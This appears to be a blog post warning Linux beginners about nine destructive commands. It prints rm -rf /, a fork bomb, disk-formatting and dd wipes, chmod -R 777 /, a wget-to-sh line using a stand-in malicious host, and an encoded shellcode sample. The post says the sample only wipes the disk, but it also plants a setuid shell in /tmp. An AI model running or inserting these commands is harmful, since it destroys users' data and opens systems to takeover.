9 Deadly Commands !!
You Should Not Run on Linux
(i.e) Running commands in terminal without proper knowledge about them may break your system.
(Linux guide :getting start with Linux)
In general ,Linux newbies often do this kind of mistakes ,due to their out of box curiosity ☻ , enormous in trust and lots of ♥ on Linux.
On other Linux distributions, most commands must be run as root.
➊ rm -rf / [ This will Delete Everything! ]
- rm command in Linux is used to delete files.
- rm -r command deletes the folder recursively, even the empty folder.
- rm -f command removes 'Read only File' without asking(FORCE DELETION OF FILE).
- rm -rf / : Force deletion of everything in root directory.
- rm -rf * : Force deletion of everything in current directory/working directory.
- rm -rf . : Force deletion of current folder and sub folders.
➋ Hidden version of rm -rf command [Alternte version of rm -rf /]
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";this is same as first command (rm -rf /).. it will also, just wipe your entire root directory.
➌ :(){ :|: & };: [ Fork Bomb ]
This function also called as fork bomb; The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It's basically a denial-of-service attack.
You may also Like to read ( How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command )
:(){ :|: & };:
operation of this function:
This function operates by defining a function called ':', which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.➍ mkfs.ext4 /dev/sda [ Formats a Hard Drive ]
mkfs.ext4 /dev/sda (it will format your entire hard disk[sda] into ext4 format) mkfs.ext4 /dev/sda1 (this will format your sda1[first partition of your hard disk]) (wiping sda1 is similar to wiping C drive on windows.)This command can come in other forms as well - mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.
NOTE:
Beware of running commands directly on hard disk devices that begin with /dev/sd.➎ command > /dev/sda
command - Run a command (can be any command.) > - Send the output of the command to the following location. /dev/sda - Write the output of the command directly to the hard disk device.
➏ mv ~ /dev/null [ Moves Your Home Directory to a Black Hole ]
mv - Move the following file or directory to another location. ~ - Represents your entire home folder. /dev/null - Move your home folder to /dev/null, destroying all your files and deleting the original copies.
➐ dd if=/dev/random of=/dev/sda [Writes Junk Onto a Hard Drive]
dd - Perform low-level copying from one location to another. if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros). of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.
➑ wget http://malicious_source -O- | sh [Downloads and Runs a Script]
wget - Downloads a file. (You may also see curl in place of wget.) http://example.com/something - Download the file from this location. | - Pipe (send) the output of the wget command (the file you downloaded) directly to another command. sh - Send the file to the sh command, which executes it if it's a bash script.
➒ > file [Flush out your file]
> file
One more command .. sudo chmod -R 777 /
sudo chmod -R 777 /
This command will give everyone to do anything (read, write, execute) on your system ..
for more posts Click to see more interesting posts on OpensourceInside